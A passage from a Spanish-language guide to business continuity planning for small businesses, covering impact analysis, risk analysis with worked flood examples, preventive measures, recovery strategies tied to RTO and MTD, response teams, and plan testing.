Ubicación en el tiempo del RTO y el MTD antes de que una empresa sufra pérdidas graves

Las tareas identificadas hasta ahora a lo largo de esta fase (estudiar los
procesos, calcular el impacto e identificar las actividades) conforman el co-
múnmente denominado Análisis de Impacto en el Negocio (BIA).
El BIA constituye la base para elaborar un plan de continuidad de

negocio y consiste en describir qué pérdidas potenciales tendrá la
organización si alguna de sus actividades de negocio (por ejemplo
la facturación o el pago de las nóminas de los empleados) o de los
recursos que las soportan (por ejemplo los sistemas informáticos)
se paraliza. Este análisis va a permitir que las organizaciones sepan
qué recursos van a tener que proveer al plan de recuperación y en
qué orden para restablecer y recuperar la operativa después de un
desastre.
8.2.4. ANÁLISIS DE RIESGOS
¿Con qué probabilidad puede ocurrir un desastre o una interrupción severa

de mis servicios o actividades críticas?
El alcance del proceso de análisis de riesgos enmarcado en la implantación

de un plan de continuidad de negocio es acotado, ya que la organización
debe tener presente los factores y la probabilidad que pueden desencadenar
una interrupción de sus actividades críticas.
El análisis de riesgos consiste en identificar las amenazas sobre estos acti-

vos y su probabilidad de ocurrencia, las vulnerabilidades asociadas a cada
activo y el impacto que las citadas amenazas pueden provocar sobre la dis-
ponibilidad de los mismos.

Interrelaciones entre las variables que componen el riesgo (activo, amenaza, vulnerabilidad)
Amenazas Activos
Ocurren de forma imprevista en

el entorno de la organización Los activos son vulnerables y
y pueden causar daños se protegen con controles de
(pérdidas). Son la fuente de los seguridad.
zas
riesgos. Acti
ena
vos
Las amenazas más importantes
Am
Riesgo La carencia de controles de

son aquellas que tienen
seguridad y la existencia de
una mayor probabilidad de
vulnerabilidades en los activos
ocurrencia y pueden afectar
provocarán un mayor impacto
significativamente a la Vulnerabilidades de los riesgos de seguridad
organización.
generados por las amenazas.
Las amenazas explotan
vulnerabilidades de los activos
de información.
Vulnerabilidades
Si bien existen diversas metodologías de análisis de riesgos (MAGERIT,

OCTAVE), e incluso herramientas que ayudan a automatizar el proceso
(EAR/PILAR), todas ellas siguen la siguiente secuencia de acción:
• Identificar activos: para cada una de las actividades críticas de la

organización, es necesario identificar y valorar los activos involu-
crados. La mayor parte de esta tarea debiera haber sido comple-
tada en el BIA.
• Identificar y evaluar las amenazas sobre los activos identificados

previamente y su probabilidad de que sucedan. Aunque existen di-
versas tipologías de amenazas, algunos ejemplos de ellas son fue-
go, inundación, fallo eléctrico, absentismo laboral, huelgas, etc.

• Identificar y valorar las vulnerabilidades o debilidades asociadas a
los activos, las cuales pueden ser explotadas por las amenazas.
• Valorar el impacto resultante de que una amenaza se aproveche de

una vulnerabilidad del activo y provoque daño sobre el mismo.
• Calcular el riesgo como la probabilidad de que se produzca un

impacto determinado en la organización.
El proceso de análisis de riesgos puede ser abordado de forma cualitativa,

cuantitativa o incluso mezcla de ambos. En la siguiente tabla se describen
los 2 tipos de análisis de riesgos junto con las ventajas e inconvenientes
asociados a los mismos.
Descripción de tipos de análisis de riesgos
Tipo de Análisis
Descripción Ventajas Inconvenientes
de Riesgos
• Sencillez
Basado en
• Rapidez
clasificaciones
Cualitativo • Equilibrio Subjetividad
descriptivas y
Coste-Beneficio
subjetivas del riesgo
• Uso extendido
Basado en términos • Exactitud Complejidad para

Cuantitativo
monetarios • Objetividad estimar costes reales

Para que la empresa se familiarice y comprenda de forma más concreta el

enfoque aplicado sobre los tipos de análisis de riesgos descritos, se expone
a continuación un ejemplo de cada uno de ellos:
Ejemplo de Análisis de Riesgos Cualitativo

Partiendo de que el Riesgo (R) es la Probabilidad (P) de que una ame-
naza explote una vulnerabilidad asociada a un activo:
Riesgo (R)= Impacto (I) x Probabilidad (P)
Donde:
* Impacto (I)= f (criticidad del activo, gravedad de la vulnerabilidad).
Posibles valores: alto, medio o bajo.
* Probabilidad (P)= f (frecuencia de la amenaza, facilidad de explotación
de la vulnerabilidad). Posibles valores: alto, medio o bajo.
La empresa estima que existe una alta probabilidad (P) de que una inun-
dación (amenaza) inutilice la oficina (activo) situada en el sótano del edi-
ficio (vulnerabilidad) y paralice sus actividades provocando un impacto
(I) alto. En función de la siguiente matriz de evaluación cualitativa:
* Riesgo (R)= Impacto (I) Alto x Probabilidad (P) Alta= Riesgo crítico

Ejemplo de Análisis de Riesgos Cuantitativo
Si se quiere calcular el daño o la pérdida en términos monetarios que
la inundación citada en el ejemplo anterior puede provocar en la orga-
nización:
Daño o pérdida= Valor del activo (€) x Factor de Exposición (%) x Proba-
bilidad de Ocurrencia
Donde:
* La oficina de la organización, valorada en 100.000 €, es el activo va-
lorado.
* El Factor de Exposición es el porcentaje (%) del activo que se vería
dañado como consecuencia de la inundación. Si la organización con-
sidera que la inundación daña la totalidad de la oficina, el factor de
exposición sería del 100% (si estima que solo se queda inutilizada la
mitad de la oficina, el factor de exposición sería del 50%).
* La probabilidad de ocurrencia de la amenaza (inundación) es calcula-
da en función del número de veces que la amenaza puede ocurrir en
un año. Si se estima que una inundación puede ocurrir una vez cada
diez años:
Probabilidad de Ocurrencia= 1 vez / 10 años= 0,1 veces/año
De esta forma el daño o la pérdida que puede sufrir el activo se estima:
Daño o pérdida= 100.000 € x 100% x 0,1 veces/año= 10.000 €
Independientemente de la metodología o de las herramientas empleadas

para el análisis de riesgos, el resultado del proceso será un mapa de riesgos
que permite identificar y priorizar aquellos que pueden provocar una para-
lización de las actividades de negocio de la organización o de los recursos
críticos sobre los cuales dichas actividades están soportadas.

¿Qué puede hacer la organización ante los riesgos que ha identificado?

Existen diferentes opciones para hacer frente a los mismos:
• Aceptar el riesgo: la organización conoce el riesgo y decide asumirlo

sin tomar ninguna acción al respecto, bien porque no tiene capacidad
o bien porque el coste para mitigar el riesgo es desproporcionado para
los beneficios que aporta.
• Transferir el riesgo: como por ejemplo a través de la subcontratación

de servicios o mediante la contratación de un seguro de cobertura, de
forma que si el riesgo se materializa exista una compensación externa
que lo mitigue.
• Reducir el riesgo a niveles aceptables por la organización: me-

diante el diseño y la implantación de controles o medidas preventi-
vas o que atenúen los impactos y las consecuencias del mismo
(ver Fase III: Medidas preventivas).
• Evitar el riesgo: mediante la eliminación del mismo (por ejemplo a

través de la reingeniería de procesos o incluso suspendiendo la acti-
vidad que origina el riesgo sin penalizar los objetivos de negocio de la
organización).
Las distintas opciones para hacer frente a los riesgos pueden ser utilizadas
conjuntamente, si bien es destacable que no todos los riesgos pueden ser
reducidos o prevenidos a un nivel aceptable.
La continuidad de negocio constituye por sí misma una estrategia o una

opción de respuesta para hacer frente a aquellos riesgos que pueden
interrumpir las operaciones de la organización.

8.3. RIESGOS ASOCIADOS AL CONOCIMIENTO DE LOS PROCESOS
DE NEGOCIO Y ANÁLISIS DE RIESGOS
Si la organización o los responsables en materia de continuidad de negocio

no interpretan correctamente los riesgos a los se expone y cómo impacta la
paralización de sus actividades de negocio, son varios los problemas que
pueden surgir:
• Dificultad para preparar la respuesta ante incidentes de seguridad.
• Identificación y priorización errónea de los impactos en el negocio y de los

riesgos.
• Derivado del punto anterior, deficiencias para seleccionar las prioridades

y los procedimientos de recuperación más adecuados.
Por otro lado, es habitual que las organizaciones adopten procesos de ges-
tión de riesgos que generan matrices de análisis complejas y engorrosas de
desarrollar y mantener, perdiendo la visión a alto nivel y el “sentido común”
necesario para determinar en última instancia qué riesgos deben ser toma-
dos en consideración.
El Análisis de Impacto de Negocio (BIA) y el Análisis de Riesgos son proce-

sos fundamentales que soportan el plan de continuidad de negocio y deben
ser abordados con la estrecha colaboración de aquellas figuras que conocen
en detalle las actividades de la organización. De esta forma los resultados
finales serán fiables.
Adicionalmente, y en alusión a los diferentes métodos de análisis de riesgos,

es preferible que la organización adopte un enfoque cualitativo. Aparte de ser
más utilizado, este enfoque permitirá un proceso sencillo, ágil y factible en
tiempo y recursos necesarios para su ejecución.

9. Fase III: Medidas preventivas

Negocio Riesgo
9.1. OBJETIVOS
El propósito de esta fase consiste en aplicar medidas de seguridad que

eviten en la medida de lo posible que se produzcan incidentes de seguridad
que, al no ser gestionados adecuadamente, hagan necesaria la activación
del plan de continuidad de negocio.
9.2. TAREAS
9.2.1. IDENTIFICACIÓN Y APLICACIÓN DE MEDIDAS DE SEGURIDAD
Tomando como base los resultados del BIA y del análisis de riesgos, la
organización debe identificar y aplicar controles o medidas de seguridad
que:
42 ) Fase III: Medidas preventivas

• Reduzcan la probabilidad de que las actividades críticas sufran
interrupciones.
• Disminuyan el tiempo de una eventual interrupción.
• Limiten el impacto que una paralización de las actividades críticas

pueda provocar en la organización.
• Incrementen la fortaleza del negocio mediante la eliminación de

puntos de fallo únicos (accesos, procesos, clientes, etc.)
De esta forma se elabora un plan de acción que contempla las acciones

que la compañía pretende adoptar para prevenir y evitar en la medida de lo
posible los riesgos que impactan en la disponibilidad de las operaciones. El
hecho de abordar estas acciones de implantación de medidas de seguridad
preventivas puede llegar a convertirse en un ahorro de costes al disminuir
la posibilidad de tener que enfrentarse a males mayores que supondrían un
gasto extra.
9.3. RIESGOS ASOCIADOS AL ESTABLECIMIENTO DE MEDIDAS

PREVENTIVAS
No todos los riesgos tienen la misma criticidad ni todas las medidas de

seguridad el mismo coste de implantación ni redundan en los mismos
beneficios para la organización.
En este sentido, cabe la posibilidad de que la organización adopte un modelo

de gestión ambicioso al abordar la implantación de medidas de seguridad
costosas de aplicar, engorrosas de mantener y que hacen frente a riesgos
que no son críticos.
Fase III: Medidas preventivas ( 43

No implantar medidas preventivas después de identificar riesgos sería

análogo al hecho de que un individuo acuda al médico y haga caso omiso
cuando éste último le indique que debe ponerse a dieta y aumentar el
ejercicio físico. Entonces, ¿para qué acude al médico?
El mismo concepto se aplica a las empresas: si un equipo o responsable

ha sido encargado para identificar riesgos y recomendar medidas
que mitiguen los mismos, pero la organización no implanta ninguna
de las soluciones propuestas, ¿para qué fin se crea dicho equipo o
responsable?
Adicionalmente, la selección de medidas de seguridad inadecuadas que

no atajan debidamente los riesgos a los que está expuesta la organización
puede conllevar un gasto económico inútil que no contribuye al desarrollo de
la estrategia de continuidad.
El proceso de identificar e implantar medidas de seguridad debe estar

basado en un equilibrio entre los siguientes factores:
• Riesgo que está siendo mitigado o impacto que estaría siendo
reducido.
• Coste de implantar la/s medida/s de seguridad (económico y
humano).
• Beneficios que la implantación de la/s medida/s de seguridad aporta
a la empresa.
44 ) Fase III: Medidas preventivas

Por tanto, en vez de esperar a que un desastre golpee a la organización
para ver cómo esta se recupera, las medidas preventivas (en ocasiones
denominadas contramedidas) deben ser aplicadas con el objetivo de
incrementar la fortaleza de sus actividades frente a posibles impactos
previamente identificados en el BIA.
Algunos ejemplos de medidas preventivas son:
• Empleo de materiales de construcción robustos.
• Redundancia de sistemas informáticos y líneas de comunicación.
• Adquisición de seguros con diferentes grados de cobertura.
• Copias de seguridad de información que soporta una actividad crítica
de la organización.
• Sistemas de detección y extinción de incendios.
• Sistemas de prevención de intrusiones y control de accesos.
• Sistemas de alarma y vigilancia.
¿ A quién va dirigida? ( 45
10. Fase IV: Estrategias de recuperación

Negocio Riesgo
10.1. OBJETIVOS
En base a los resultados del BIA y del análisis de riesgos, el objetivo perseguido
en esta fase consiste en identificar las alternativas de recuperación de las
actividades críticas de la organización en los marcos de tiempo definidos y
aceptados.
10.2. TAREAS
Es importante recordar que en la fase de realización del BIA, la organización

calculó las pérdidas potenciales para las diferentes amenazas que pueden
interrumpir sus actividades. Se exponen a continuación algunos ejemplos de
estos cálculos:
46 ) Fase IV: Estrategias de recuperación

- Si la sala en la que se ubican los servidores y los sistemas que dan
soporte a las actividades de negocio deja de estar operativa, el coste
que supondría para la organización ascendería a 60.000 € por cada
día de inactividad.
- Si la conexión de mi empresa con el mundo exterior a través de Internet

no está disponible, el coste estimado para la organización sería de
3.000 € por cada hora de indisponibilidad.
- Si una empresa de restauración deja de recibir los bienes comestibles

de su proveedor de distribución en huelga, pasará a tener unas
pérdidas aproximadas de 2.000 € por día a partir del momento en el
que se quede sin existencias de reserva.
10.2.1. SELECCIÓN DE ALTERNATIVAS DE RECUPERACIÓN
La organización debe tener en cuenta los posibles daños potenciales a la

hora de revisar y seleccionar las diferentes soluciones o alternativas de
recuperación de sus actividades críticas, considerando adicionalmente los
siguientes factores:
• La cuantía económica asociada a la implantación de la estrategia de

recuperación, la cual suele constituir uno de los mayores inconvenientes
a la hora de adquirir una solución de recuperación.
• Los beneficios que proporciona la citada estrategia.
• El Tiempo Máximo Permitido de Interrupción (MTD) de la actividad

crítica.
• El Tiempo de Recuperación Objetivo (RTO).
• La perdida máxima de información que una empresa se puede permitir

(RPO).
Fase IV: Estrategias de recuperación ( 47

Ejemplos de estrategias de recuperación
Recurso crítico Objetivo Estrategias de recuperación
• Documentar actividades críticas

Personas que Mantener el conocimiento y las
• Formación
participan en las capacidades del personal con
• Conocimiento compartido y
actividades de funciones y responsabilidades
multidisciplinar
negocio en actividades críticas
• Separación de tareas clave
Reducir el impacto que genera • Instalaciones alternativas

Instalaciones y
la falta de disponibilidad de las • Acuerdos recíprocos
Puestos de trabajo
instalaciones de trabajo • Teletrabajo
Entender el entorno • Redundancia de equipos y

tecnológico que soporta las comunicaciones
Tecnología actividades críticas y mantener • Mantenimiento de la misma
la capacidad para replicarlo en tecnología en diferentes ubicaciones
caso de desastre • Copias de software crítico
• Copias de seguridad
Garantizar la protección y
Información y • Procedimientos de recuperación
recuperación de la información
Documentación • Documentación de activación del
vital para la organización
plan de continuidad
• Contacto con proveedores
Identificar y mantener un alternativos
inventario de proveedores de • Acuerdos con terceros
Proveedores
servicios clave que soportan • Envío y almacenamiento de
las actividades críticas recursos críticos en ubicaciones
alternativas
Proteger los intereses de • Acuerdos que garantizan el

Accionistas y
socios y accionistas afectados bienestar de los colectivos
Socios
por un desastre involucrados en el desastre
Servicios civiles Garantizar que la organización • Recomendaciones de rutas de

de emergencia conoce los procedimientos de evacuación y puntos de reunión
(tráfico, bomberos) los servicios de emergencia • Participación en simulacros

Considerando únicamente las instalaciones y puestos de trabajo de
la empresa como recurso crítico, la siguiente tabla propone diferentes
estrategias de recuperación en función de la naturaleza de las mismas
(asumidas internamente por la PYME, contratadas a un tercero o diseñadas
a medida de la empresa) y el Tiempo de Recuperación Objetivo (RTO).
Relación entre el Tiempo de Recuperación Objetivo y las Estrategias de Recuperación
Tiempo de Estrategias de recuperación

Recuperación
Objetivo (RTO) Internas Contratadas A medida
• Ampliar el contrato de
• Reconstruir o • Reconstruir, alquilar o
Meses emplazamiento de
reubicar comprar
recuperación
• Edificios
• Expansión del
prefabricados en
emplazamiento de • Oficinas amuebladas.
el mismo sitio
Semanas recuperación Subcontratación de
• Adaptación de
• Unidades prefabricadas y procesos
edificios para
móviles alquiladas
otros usos
• Emplazamiento para
• Emplazamiento
la recuperación de la
de recuperación
actividad comercial
Días “in situ” • Oficinas gestionadas
• Acuerdos recíprocos
• Trabajo desde
• Instalaciones móviles
casa
• Procesos subcontratados
• Reubicar un equipo
• Varias ubicacio-
reducido de personas a un
Horas nes con personal
emplazamiento de
reasignado
recuperación contratado
• Iniciar una conmutación

• Localizaciones
de las tecnologías a un
Inmediato diversas para
emplazamiento de
cada actividad
recuperación contratado
Fuente: Business Continuity Institute (http://www.thebci.org/ o http://www.bcispain.com/ para su capítulo

en España)

En este sentido, es importante destacar los siguientes aspectos con respecto

a la selección de las estrategias de recuperación:
• La elección de las diferentes alternativas de recuperación depende de

las necesidades de la organización: tiempos de recuperación objetivo
(RTO), costes, recursos humanos/técnicos, etc.
• Lo más común y recomendable es adoptar una combinación de las

estrategias de recuperación para los distintos recursos críticos.
• El tiempo de recuperación objetivo (RTO) definido por la organización

para sus actividades críticas siempre debe ser menor al tiempo máximo
permitido de interrupción (MTD).
• El coste de las estrategias de recuperación será generalmente mayor

cuanto menor sea el tiempo de recuperación objetivo (RTO).
Una vez analizadas y seleccionadas las estrategias de recuperación que

serán empleadas como respaldo en caso de interrupción de las actividades
críticas de negocio, es necesario plasmar todas las soluciones y pasos
a abordar en un plan (entendido como un conjunto de procedimientos,
funciones y actividades que permitirá el restablecimiento de las citadas
actividades en unos plazos razonables).
10.3. RIESGOS ASOCIADOS A LA IMPLEMENTACIÓN DE

ESTRATEGIAS DE RECUPERACIÓN
Al igual que sucede en la Fase III: Medidas preventivas, consistente en la

identificación y aplicación de las mismas, la selección de las estrategias
de recuperación más adecuadas depende principalmente de que los
resultados del BIA sean veraces y se ajusten lo más posible a la realidad de
la empresa.

Así, una estimación errónea sobre las consecuencias de una paralización de
las actividades críticas de la organización puede derivar en una selección
desacertada sobre las estrategias de recuperación a desarrollar.
Por otro lado, es común que las organizaciones no asimilen la diferencia

entre las medidas preventivas y las estrategias de recuperación.
En base a los criterios previamente detallados, y teniendo en cuenta la

formalidad de los resultados del proceso BIA, se recomienda una selección
de las estrategias de continuidad debidamente documentada para cada
actividad crítica. Dicha selección debe ser acordada y ratificada con el
director o el nivel directivo de la empresa.
Además, es necesario destacar que las estrategias de recuperación

seleccionadas para cada actividad deben ser acordes a los Tiempos de
Recuperación Objetivo (RTO) previamente definidos y aprobados.
En paralelo, es aconsejable diseñar una planificación para la puesta en

marcha de la estrategia acordada para determinar el aprovisionamiento de
los recursos.
Por último, se hace necesario establecer la diferencia entre medidas

preventivas y estrategias de recuperación:
• Los mecanismos preventivos explicados en la Fase III: Medidas

preventivas intentan reducir la posibilidad de que una compañía
sufra una contingencia grave o un desastre y, si éste se produce,
disminuir el daño que provocaría (aunque la organización no pueda
evitar la caída de la energía eléctrica por una avería de su compañía
de suministro, sí puede habilitar baterías o fuentes de alimentación
alternativas e independientes que garanticen el suministro eléctrico
durante un periodo de tiempo).

• Las estrategias de recuperación son procesos focalizados en

cómo rescatar a la organización en caso de que un desastre
tenga lugar. Son mecanismos relacionados con la implantación de
procedimientos de respuesta ante emergencias y la posibilidad de
activar los mecanismos preventivos que ya han sido implantados.
En la siguiente ilustración se resaltan los principales recursos sobre
los cuales se deben diseñar las estrategias de recuperación:
Recursos organizacionales sobre los cuales se diseñan las estrategias de recuperación
Gestión de la Continuidad de Negocio
Personas Instalaciones Tecnología Información Proveedores

11. Fase V: Desarrollo e implantación del plan

Negocio Riesgo
11.1. OBJETIVOS
Llegados a este punto, es necesario situar todas las soluciones, estrategias

y pasos en un plan en sí mismo.
Es decir, una vez que las estrategias han sido definidas, deben ser
documentadas y puestas en marcha por los encargados de la continuidad
de negocio de la organización.
Así los esfuerzos pasan de una fase de planificación a una fase de acción e
implementación en la que se pretende:
• Gestionar la respuesta a incidentes: asegurar la existencia de

mecanismos que alerten de la existencia de eventos adversos y
actúen frente a los mismos.
• Asegurar la continuidad de actividades críticas: garantizar que

la ejecución del plan descansa sobre las figuras y/o equipos
necesarios (desde su activación hasta la vuelta a la normalidad
de las actividades), y que se dispone o se puede disponer de los
medios materiales para llevarlas a cabo.
Fase V: Desarrollo e implantación del plan ( 53

11.2. TAREAS
11.2.1. DEFINIR LAS FIGURAS O LOS EQUIPOS NECESARIOS PARA

LA ACTIVACIÓN Y EJECUCIÓN DEL PLAN DE CONTINUIDAD DE
NEGOCIO
La composición y el número de figuras o equipos que intervienen en la

ejecución del plan pueden variar en función del tamaño de la organización y
de su estrategia de recuperación.
Es posible destacar funciones clave que serán llevadas a cabo por los
responsables (personas o equipos, dependiendo del tamaño y de los recursos
de la empresa) de la activación y ejecución del plan de continuidad de negocio:
• Respuesta a incidentes: responsables de analizar y acotar el impacto

que una incidencia puede provocar en la organización de forma que no
se tenga que recurrir a la activación del plan de continuidad de negocio.
• Comité de crisis: encargado de activar el plan de continuidad de

negocio y dirigir las acciones durante la contingencia.
• Servicios civiles de emergencia necesariamente localizables en caso

de catástrofe (como por ejemplo los bomberos) que generalmente
constituyen la primera figura de respuesta.
• Logística: responsable de reunir todos los medios (lugar alternativo

de trabajo, material, herramientas, etc.) necesarios para contribuir
a la reactivación de la actividad.
• Recuperación: asume la puesta en servicio de la infraestructura

tecnológica (sistemas, aplicaciones y líneas de comunicación).
• Relaciones públicas: responsable de las comunicaciones con

clientes, accionistas, medios de comunicación, etc.
54 ) Fase V: Desarrollo e implantación del plan

Esta designación de funciones es semejante a las que se establecen en los
planes de emergencia encuadrados en la Ley de Prevención de Riesgos
Laborales3 (y sus correspondientes desarrollos reglamentarios), en las que
intervienen personas encargadas de poner en práctica diferentes medidas:
gestionar las alertas para la actuación de los equipos de primera intervención,
dar la alarma para facilitar la evacuación de los empleados, gestionar la
coordinación y la cooperación entre los integrantes de los diferentes equipos
de emergencia, etc.
Una vez que se han definido las figuras o equipos, así como las funciones
a desempeñar por los mismos, la empresa debe desarrollar los planes o
procedimientos de actuación a seguir.
11.2.2. DESARROLLAR LOS PROCEDIMIENTOS DE ALERTA Y

ACTUACIÓN
Estos procedimientos, si bien no deben sustituir en ningún caso la aplicación

del sentido común, recogen el conocimiento necesario para la activación
y ejecución del plan de continuidad de negocio, ya que reducen el tiempo
invertido en la toma de decisiones críticas y acotan los momentos de
incertidumbre y el tiempo de reacción.
Deben ser concisos, factibles y accesibles a todos aquellos miembros que

tienen algún tipo de responsabilidad de actuación dentro del plan.
Los objetivos y el alcance de cada uno de ellos deben ser documentados y

fáciles de leer y entender por todos los miembros implicados, considerando:
• Las actividades y recursos críticos que deben ser recuperados.
• Los tiempos de recuperación de dichas actividades y recursos.
3 Ley 31/1995, de 8 de noviembre, de Prevención de Riesgos Laborales. Disponible en: https://boe.gob.

es/aeboe/consultas/bases_datos/doc.php?id=BOE-A-1995-24292

• En qué situación o situaciones debe ser utilizado cada plan.
• Información útil para la gestión de la contingencia (teléfonos,

inventarios de proveedores, servicios, direcciones, checklist,…).
Adicionalmente, deben detallar claramente las funciones y responsabilidades

de los miembros que forman parte activa del plan de continuidad de
negocio, así como el método para activar o invocar el mismo (¿bajo qué
circunstancias?; ¿quiénes activan el plan?; ¿cómo es activado el plan?).
La siguiente ilustración muestra las tres principales fases que deben tener
lugar en el tiempo a raíz de la identificación de un incidente. El objetivo de
dichas fases en conjunto es que la organización recupere la normalidad de
sus actividades en el menor tiempo posible.
Etapas transcurridas desde la detección de un incidente/desastre hasta la recupe-

ración de la normalidad en el centro de trabajo habitual

En paralelo a estas etapas, la empresa debe constituir los correspondientes
procedimientos de actuación que en definitiva constituirán el plan de
Respuesta a incidentes
Cualquier incidente que tenga lugar en la organización y que interrumpa

sus actividades críticas debe contar con un plan rápido de respuesta que
permita:
• Confirmar el tipo de incidente y su criticidad.
• Tomar el control de la situación problemática generada por el

incidente.
• Acotar o limitar el impacto que dicho incidente pueda provocar.
La identificación temprana de los incidentes es fundamental a la hora

de responder a los mismos de forma ágil y efectiva. Un incidente que
no es identificado, evaluado y gestionado adecuadamente puede
derivar en un problema de mayor magnitud o incluso en una crisis.
La siguiente ilustración muestra someramente y a modo de ejemplo la

secuencia de tareas a realizar en caso de que una empresa detecte la
paralización de sus actividades críticas. En ocasiones es frecuente utilizar el
término “Plan de Gestión de Crisis” para hacer alusión a este proceso.

Ejemplo de secuencia de tareas a realizar en caso de paralización de la actividad
Procedimientos de recuperación
Puede ser activado dentro del plan de respuesta ante incidentes y, tal y como
se ha comentado en esta guía, tienen el objetivo de recuperar en el menor
tiempo posible las actividades críticas de una organización que se han visto
interrumpidas por un desastre.
Llegados a este punto, es de suponer que la organización ha decidido poner

en marcha el plan de recuperación. Dicho plan debe contener la siguiente
secuencia de acciones:
• Quién, cómo y bajo qué circunstancias debe ser activado.
• Persona/s que deben ser informadas de la activación del plan de

continuidad en primer lugar (es lo que se conoce como árbol de
llamadas).

• Localización física de las personas que intervienen en el plan.
• Qué servicios están disponibles, cuándo y dónde (incluidos los

servicios entregados por terceros).
• En qué momento y de qué forma la información que se genera en

la ejecución del plan de continuidad es transmitida a responsables,
empleados, unidades de dirección, etc.
Siguiendo con el ejemplo de la ilustración anterior, en la expuesta a

continuación se muestran algunos ejemplos característicos de procedimientos
de recuperación ante la supuesta indisponibilidad de recursos críticos de la
empresa.
Ejemplos de procedimientos de recuperación característicos

Y finalmente, a continuación se muestra un ejemplo de procedimiento de

recuperación en caso de indisponibilidad del suministro eléctrico.
Ejemplo de procedimiento de recuperación en caso de indisponibilidad de

suministro eléctrico
Plan de vuelta a la normalidad
Solucionada la contingencia y recuperadas las actividades críticas de la

organización, deben establecerse los mecanismos necesarios para recuperar la
normalidad de funcionamiento y el “día a día” de las actividades.
11.2.3. DISPONER DE LOS MEDIOS Y RECURSOS NECESARIOS PARA

EJECUTAR EL PLAN DE CONTINUIDAD DE NEGOCIO
Todo plan de continuidad de negocio fracasará si previamente no se han

dimensionado y provisionado los medios y recursos necesarios que permitan
su ejecución. De acuerdo a las estrategias de recuperación diseñadas
con anterioridad, las organizaciones deben dotarse de los recursos
imprescindibles para el desarrollo efectivo de la respuesta, entre los que es
posible mencionar:

• Servicios generales, medios materiales, transporte, medios de
almacenamiento, etc.
• Tecnología (servidores, ordenadores de mesa, dispositivos móviles) y

comunicaciones.
• Recursos humanos y puestos de trabajo alternativos.
• Información crítica redundante y necesaria para el desarrollo de las

actividades de negocio.
11.3. RIESGOS ASOCIADOS AL DESARROLLO E IMPLANTACIÓN

DEL PLAN
Los planes de continuidad de negocio son procedimientos de actuación en

caso de crisis o desastre en los que suelen intervenir diferentes áreas de la
organización. En ocasiones, el propio impacto de un desastre puede concluir
en la pérdida de dichos procedimientos, por lo que la organización debe tener
preparada para los mismos una estrategia de respaldo y disponibilidad.
Para evitar pérdidas de los planes de continuidad de negocio deben

mantenerse copias de los mismos en diferentes localizaciones. Al menos
una de estas localizaciones debe estar alejada del lugar físico en el que
principalmente se desarrollan las actividades críticas de la organización
(oficinas o domicilios particulares).
También es importante que el plan de continuidad de negocio esté disponible

para las personas que participan en el mismo en diferentes formatos
(incluyendo el electrónico y el soporte papel).

12. Fase VI: Mantenimiento del plan

Negocio Riesgo
12.1. OBJETIVOS
El hecho de elaborar y documentar planes de continuidad de negocio y en

definitiva procedimientos de recuperación en caso de paralización de las
operaciones no garantiza de por sí el éxito a la hora de enfrentarse a un
desastre.
De esta forma, los objetivos perseguidos en la presente fase son:
• Inculcar y promocionar una cultura de continuidad de negocio en la

organización de forma que paulatinamente se convierta en un proceso
crítico a gestionar bajo un ciclo de mejora continua.
• Bajo el citado ciclo, mejorar la eficiencia y la solidez del plan o planes

de continuidad de negocio.
• Transmitir fiabilidad a empleados, clientes, accionistas sobre la

capacidad de la organización para superar posibles interrupciones de
sus operaciones.
• Minimizar la probabilidad y el impacto de las interrupciones.
• Adaptar el plan de continuidad a los cambios organizativos y de negocio

que sufren las empresas, revisando periódicamente los análisis de
riesgos, los Análisis de Impacto en el Negocio (BIA) y los contactos y
responsabilidades asignados que deben mantenerse actualizados en
las estrategias y los procedimientos.
62 ) Fase VI: Mantenimiento del plan

12.2. TAREAS
12.2.1. DIFUSIÓN Y FORMACIÓN
Antes de impartir cualquier acción de formación/concienciación, es necesario

que la organización determine los colectivos y grupos objetivo, qué tipo de
necesidades formativas son requeridas y qué estrategia de comunicación es
la más adecuada.
A partir de este esquema se desarrollará la programación de acciones

formativas concretas en diversos entornos:
• En el de dirección y supervisión.
• En el de ejecución y operación.
La organización puede utilizar diversos medios para la impartición efectiva

de los paquetes formativos, como por ejemplo, la inclusión de mensajes y
contenidos relacionados con la continuidad de negocio en la Intranet de la
organización, las plataformas online y/o soporte/s semejante/s.
Los responsables deben ser adecuadamente formados y concienciados

acerca de los diferentes conceptos que contempla la continuidad de negocio
(riesgos, medidas preventivas, detección temprana de incidencias, etc.).
Incluso cabe la posibilidad de extender estos programas de formación a

proveedores o en general terceros con los que la organización mantiene
relaciones comerciales.
12.2.2. EJECUCIÓN DE PRUEBAS
Aunque también es frecuente el uso de conceptos similares como simulacro,

test o ejercicio, “Pruebas” es el término generalmente utilizado para describir
el conjunto de medidas que someten a ensayo o examen el plan de
Fase VI: Mantenimiento del plan ( 63

Desarrollado e implantado el plan de continuidad de negocio, es recomendable

que sea probado periódicamente debido a los siguientes motivos:
• Cada vez se descubren nuevas mejoras y eficiencias que, de ser

aplicadas, perfeccionan el plan.
• Los procesos de negocio, las ya mencionadas interdependencias, el

entorno tecnológico y multitud de componentes adicionales pueden
cambiar con el paso del tiempo provocando que los planes de
continuidad de negocio dejen de estar actualizados.
• Evaluar de forma más veraz la capacidad de respuesta de una compañía

ante un desastre (tiempos de respuesta, capacidad de los responsables
implicados e idoneidad de los procedimientos desarrollados).
La organización debe planificar las pruebas, su duración y alcance, los

participantes (incluidos proveedores de servicios), los elementos del plan
que serán evaluados (personas, comunicaciones, sistemas, procedimientos)
y la secuencia de pasos a emprender durante su ejecución. Las pruebas
deben simular situaciones próximas a la realidad y deben ser planificadas
de forma que la exposición de las actividades de la organización ante los
riesgos sea mínima.
Aunque sería lo ideal, es obvio que las compañías que deciden realizar
tales pruebas no pueden permitirse el lujo de paralizar completamente su
producción, por lo que las pruebas deben tener lugar en áreas y momentos
específicos que no penalicen la entrega de sus productos y servicios (en
definitiva, el negocio).

Existen diferentes tipos de pruebas que se describen someramente en la
siguiente tabla (ordenadas de menor a mayor complejidad).
Tipos de pruebas del Plan de Continuidad de Negocio
Tipo de prueba Descripción

El plan de continuidad de negocio es distribuido a los
Test de consistencia departamentos y/o áreas funcionales implicadas para su
revisión/actualización.
Representantes de cada departamento y/o área funcional
Test de validez
implicada se reúnen para revisar y discutir el plan.
Escenario ficticio de recuperación para verificar que el

Test de simulación
Plan de Continuidad contiene la información necesaria y
(simulacro)
suficiente.
Recuperación real de una actividad crítica bajo un

Test actividades
entorno controlado y sin poner en peligro la operativa
críticas
usual/original.
Interrupción real de las operaciones y recuperación de
Test completo las mismas a través de los procedimientos del Plan de
Continuidad.
12.2.3. ACTUALIZACIÓN (CICLO DE MEJORA CONTINUA)
Los planes de continuidad de negocio deben ser mantenidos a través de un

